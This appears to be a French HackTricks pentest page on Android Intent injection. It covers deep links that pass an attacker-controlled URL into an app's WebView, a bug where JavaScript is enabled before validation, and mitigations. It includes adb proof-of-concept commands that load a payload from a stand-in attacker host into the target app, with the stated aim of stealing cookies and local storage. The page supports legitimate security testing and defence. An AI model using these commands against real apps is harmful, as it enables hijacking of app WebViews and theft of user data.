Injection d'Intent

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

L'injection d'Intent abuse des composants qui acceptent des Intents ou des données contrÎlés par l'attaquant qui sont ensuite convertis en Intents. Deux modÚles trÚs courants lors des pentests d'applications Android sont :

  • Passer des extras conçus Ă  des ActivitĂ©s/Services/BroadcastReceivers exportĂ©s qui sont ensuite transfĂ©rĂ©s Ă  des composants privilĂ©giĂ©s, non exportĂ©s.
  • DĂ©clencher des liens profonds VIEW/BROWSABLE exportĂ©s qui transfĂšrent des URL contrĂŽlĂ©es par l'attaquant dans des WebViews internes ou d'autres points sensibles.

Liens profonds → WebView sink (injection de paramùtre URL)

Si une application expose un lien profond de schéma personnalisé tel que :

text
myscheme://com.example.app/web?url=<attacker_url>

et l'Activity rĂ©ceptrice transmet le paramĂštre de requĂȘte url dans un WebView, vous pouvez forcer l'application Ă  rendre un contenu distant arbitraire dans son propre contexte WebView.

PoC via adb :

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS s'exĂ©cute Ă  l'intĂ©rieur du profil WebView de l'application.
  • Si JavaScript est activĂ© (par dĂ©faut ou en raison de vĂ©rifications mal ordonnĂ©es), vous pouvez Ă©numĂ©rer/utiliser n'importe quel objet @JavascriptInterface exposĂ©, voler des cookies/local storage de WebView, et pivoter.

Voir aussi :

Webview Attacks

Bug d'ordre de vérifications permettant JavaScript

Un bug rĂ©current est d'activer JavaScript (ou d'autres paramĂštres WebView permissifs) avant que la liste blanche/validation de l'URL finale ne soit terminĂ©e. Si des helpers prĂ©coces acceptent votre deep link et que le WebView est configurĂ© en premier, votre chargement final se produit avec JavaScript dĂ©jĂ  activĂ© mĂȘme si les vĂ©rifications ultĂ©rieures sont dĂ©fectueuses ou trop tardives.

Ce qu'il faut rechercher dans le code décompilé :

  • Plusieurs helpers qui analysent/sĂ©parent/reconstruisent l'URL diffĂ©remment (normalisation incohĂ©rente).
  • Appels Ă  getSettings().setJavaScriptEnabled(true) avant la derniĂšre vĂ©rification de la liste blanche de l'hĂŽte/chemin.
  • Un pipeline comme : analyser → validation partielle → configurer WebView → vĂ©rification finale → loadUrl.

Mitigations

  • Canoniser une fois et valider strictement ; Ă©chouer en mode fermĂ©.
  • N'activer JavaScript qu'aprĂšs que toutes les vĂ©rifications aient rĂ©ussi et juste avant de charger du contenu de confiance.
  • Éviter d'exposer des ponts Ă  des origines non fiables.

Autres primitives classiques d'injection d'Intent

  • startActivity/sendBroadcast utilisant des extras Intent fournis par l'attaquant qui sont ensuite re-analysĂ©s (Intent.parseUri(...)) et exĂ©cutĂ©s.
  • Composants proxy exportĂ©s qui transmettent des Intents Ă  des composants sensibles non exportĂ©s sans vĂ©rifications de permission.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks